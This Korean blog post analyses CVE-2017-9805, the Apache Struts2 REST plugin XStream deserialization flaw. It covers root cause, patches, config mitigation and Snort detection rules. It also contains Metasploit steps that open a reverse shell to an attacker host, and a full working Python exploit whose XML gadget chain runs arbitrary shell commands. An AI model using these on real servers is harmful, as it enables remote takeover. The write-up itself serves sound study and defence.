1.Apache Struts2
- Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크
2. CVE-2017-9805
- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점
취약한 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12
3. 취약점 분석
3.1 실습
- 취약한 서버 구동 및 IP 확인
- Nmap을 통해 실행 중인 서비스와 버전 식별
- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)
nmap -A 192.168.56.113
- Nmap 수행 결과를 통해 /orders.xhtml 접속
- Metasploit을 통한 공격 수행
$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit
- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인
- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능
- 해당 패킷을 와이어샤크로 확인하면 다음과 같음
3.2 분석
- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원
- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재
① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33)
② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행)
③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45)
④ XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53)
- 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조
- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행
- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달
3.3 PoC 분석
- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달
- POST 메소드 요청 및 Content-Type': 'application/xml'로 변경
- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달
import requests
import sys
def exploration(command):
exploit = '''
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
'''
url = sys.argv[1]
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
'Content-Type': 'application/xml'}
request = requests.post(url, data=exploit, headers=headers)
print (request.text)
if len(sys.argv) < 3:
print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
print ('[*] Warflop - http://securityattack.com.br')
print ('[*] Greatz: Pimps & G4mbl3r')
print ('[*] Use: python struts2.py URL COMMAND')
print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
exit(0)
else:
exploration(sys.argv[2])
4. 대응
4.1 서버 측면
① 업데이트 수행
- 취약점 패치 버전 : Apache Struts 2.5.13, Apache Struts 2.3.34
- ContentTypeHandler이 바로 상속되지 않고 AbstractContentTypeHandler 를 거치도록 패치
- 이를 이용하여 XstreamHandler로 처리되는 입력 값에 대한 기록을 남김
- REST 플러그인의 XStreamHandler에 AbstractContentTypeHandler, AllowedClasses, AllowedClassNames, XStreamPermissionProvider를 추가(허용 여부 검증)
- createXStream()을 통해 안전하지 않은 입력값 실행에 대한 설정을 추가
- 입력값을 전달하는 toObject를 처리하는 ContentTypeInterceptor.java에서 invocation 값이 추가로 전달
- 업데이트가 불가하거나 어려울 경우 플러그인을 서버 일반 페이지 및 JSON으로만 제한
- [사진 7]에서 xml을 제외
<constant name="struts.action.extension" value="xhtml,,json" />
② REST 플러그인 비활성화
- 해당 플러그인을 사용하지 않을 경우 비활성화 또는 제거
4.2 네트워크 측면
① 탐지 룰 생성
- 공개된 PoC에 따라 공격자는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달
- 해당 문자열을 탐지할 수 있는 Snort Rule 등을 생성하여 탐지 및 차단
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (ProcessBuilder)"; flow:to_server,established; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024663; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (Runtime.Exec)"; flow:to_server,established; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:".exec"; distance:0; http_client_body; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024664; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 1"; flow:to_server,established; content:"POST"; http_method; content:"eXNvc2VyaWFsL"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024668; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 2"; flow:to_server,established; content:"POST"; http_method; content:"lzb3NlcmlhbC"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024669; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 3"; flow:to_server,established; content:"POST"; http_method; content:"5c29zZXJpYWwv"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024670; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 4"; flow:to_server,established; content:"POST"; http_method; content:"|79 76 36 36 76|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024671; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 5"; flow:to_server,established; content:"POST"; http_method; content:"|72 2b 75 72|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024672; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 6"; flow:to_server,established; content:"POST"; http_method; content:"|4b 2f 72 71 2b|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024673; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (Runtime.Exec)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024674; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (ProcessBuilder)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024675; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN struts-pwn User-Agent"; flow:established,to_server; content:"User-Agent|3a 20|struts-pwn"; http_header; fast_pattern; reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py; reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_16, deployment Datacenter, former_category SCAN, performance_impact Moderate, signature_severity Minor, updated_at 2022_04_18;)
5. 참고
https://nvd.nist.gov/vuln/detail/cve-2017-9805
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26667
http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules
https://archive.apache.org/dist/struts/binaries/
https://archive.apache.org/dist/struts/2.5.13/
'취약점 > RCE' 카테고리의 다른 글
Confluence Server 및 Data Center RCE 취약점 (CVE-2022-26134) (0) | 2022.12.04 |
---|---|
Apache Unomi RCE (CVE-2020-13942) (0) | 2022.12.02 |
자바 역직렬화 취약점 (0) | 2022.11.23 |
Spring Cloud Function RCE (CVE-2022-22963) (0) | 2022.11.15 |
Apache Struts 2 Namespace RCE (CVE-2018-11776) (1) | 2022.09.29 |